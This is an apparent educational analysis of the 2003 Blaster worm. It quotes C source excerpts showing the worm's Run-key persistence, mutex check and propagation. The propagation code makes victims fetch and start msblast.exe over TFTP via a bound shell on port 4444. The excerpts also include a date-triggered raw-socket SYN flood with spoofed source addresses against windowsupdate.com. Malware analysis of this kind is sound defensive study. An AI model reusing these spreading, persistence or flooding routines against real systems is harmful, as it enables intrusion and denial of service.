

# BLASTER WORM

-- analyzed by Abhishek Patil

The Blaster worm (a.k.a. Lovsan or Lovesan) was a computer worm that spread on computers running the Microsoft operating systems, Windows XP and Windows 2000, during August 2003. The worm was programmed to start a SYN flood against port 80 of windowsupdate.com, thereby creating a denial-of-service attack (DoS) against the site. The worm spread by exploiting a buffer overflow in the DCOM RPC service on the affected operating systems.

## Global Definitions

```
const char msg1[]="I just want to say LOVE YOU SAN!!";  
const char msg2[]="billy gates why do you make this possible ? Stop making  
monev and fix vour software!!"  
  
#define MSBLAST_EXE "msblast.exe"  
  
#define MSRPC_PORT_135 135  
#define TFTP_PORT_69 69  
#define SHELL_PORT_4444 4444
```

The following two strings are defined as global but, they are not used or displayed by the worm anywhere. The strings might be some sort of a hidden message.

By having the worm's file name as a define-ed variable, the worm writer has the flexibility to change the executable's name.

MS-RPC/DCOM runs over port 135. The TFTP protocol is defined to run on port 69. Once this worm breaks into a victim, it will command it to download the worm via TFTP. Therefore, the worm briefly runs a TFTP service to deliver that file. The shell-prompt is established over port 4444.

## Main Program

### Initial Checks

```
RegCreateKeyEx( HKEY_LOCAL_MACHINE,  
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",  
0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, 0);  
RegSetValueEx(hKey, "windows auto update", 0, REG_SZ, MSBLAST_EXE, 50);  
RegCloseKey(hKey);
```

This line creates a registry key that will cause the worm to run every time the system restarts

```
CreateMutexA(NULL, TRUE, "BILLY");  
if (GetLastError() == ERROR_ALREADY_EXISTS)  
ExitProcess(0);
```

The worm checks for the BILLY flag. Exit if this is the 2<sup>nd</sup> infection

At this point, the worm randomly chooses the kind of network it would infect next. It also guesses whether the victim is a winxp or a win2k machine. It chooses randomly. 80% of the time it will assume that all victims are winxp, and 20% of the times it will assume all victims are win2k.

### Infection and Attack

```
#define MYLANG MAKELANGID(LANG_ENGLISH, SUBLANG_DEFAULT)  
#define LOCALE_409 MAKELCID(MYLANG, SORT_DEFAULT)  
GetDateFormat( LOCALE_409,0, NULL, "d", daystring, sizeof(daystring));  
GetDateFormat( LOCALE_409,0, NULL, "M", monthstring, sizeof(monthstring));  
if (atoi(daystring) > 15 && atoi(monthstring) > 8)  
CreateThread(NULL, 0, blaster_DoS_thread, 0, 0, &ThreadId);
```

The worm then checks the local date so that when in the certain range, it will trigger a DoS attack against Microsoft (windowsupdate.com).

```
for (;;) blaster_spreader();
```

Infect other machines

```
blaster_DoS_thread()
```

Carry out the attack on Microsoft

### Infection

#### blaster\_spreader();

Scan the next 20 addresses and try to propagate.

```
blaster_increment_ip_address();  
blaster_exploit_target();
```

This function increments the IP address. The function gets called 20 times in a loop.

If connection succeeds, exploit the victim. In this function, the exploit code (in the variable 'sc') commands the victim to "bind a shell" on port 4444. It then makes the remote machine run a temporary tftp connection back to the attacking machine and makes it download the blaster code. If the download succeeds, it sends a command to run the attack.

```
sprintf(cmdstr, "tftp -i %s GET %s\n",  
target_ip_string, MSBLAST_EXE);  
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)  
goto closesocket_and_return;  
Sleep(1000);  
for (i=0; i<10 && is_tftp_running; i++)  
Sleep(2000);  
sprintf(cmdstr, "start %s\n", MSBLAST_EXE);  
if (send(fd, cmdstr, strlen(cmdstr), 0) <= 0)  
goto closesocket_and_return;
```

At this point, the remote machine is infected and it starts to run blaster code.

### Attack

#### blaster DoS thread()

```
target_ip =  
blaster_resolve_ip("windowsupdate.com");
```

Convert the name into an ipaddress

```
fd = WSASocket(AF_INET, SOCK_RAW,  
IPPROTO_RAW, NULL, 0,  
WSA_FLAG_OVERLAPPED);  
if (fd == SOCKET_ERROR)  
return 0;
```

Create raw-socket and send custom built packets.

```
for (;;) {  
blaster_send_syn_packet(target_ip, fd);  
Sleep(20);  
}
```

This function uses raw-sockets to send a SYNflood at the windowsupdate.com

```
sprintf(spoofed_src_ip, "%i.%i.%i.%i",  
local_class_a, local_class_b,  
rand()%255, rand()%255);  
source_ip =  
blaster_resolve_ip(spoofed_src_ip);
```

This section of the code generates a spoofed ip address in that belongs to the local subnet.

```
sendto(fd, buf, sizeof(ip)+sizeof(tcp),  
0, (struct sockaddr*)&to, sizeof(to));
```

After the packet and its header is generated, it is sent to attack windowsupdate.com.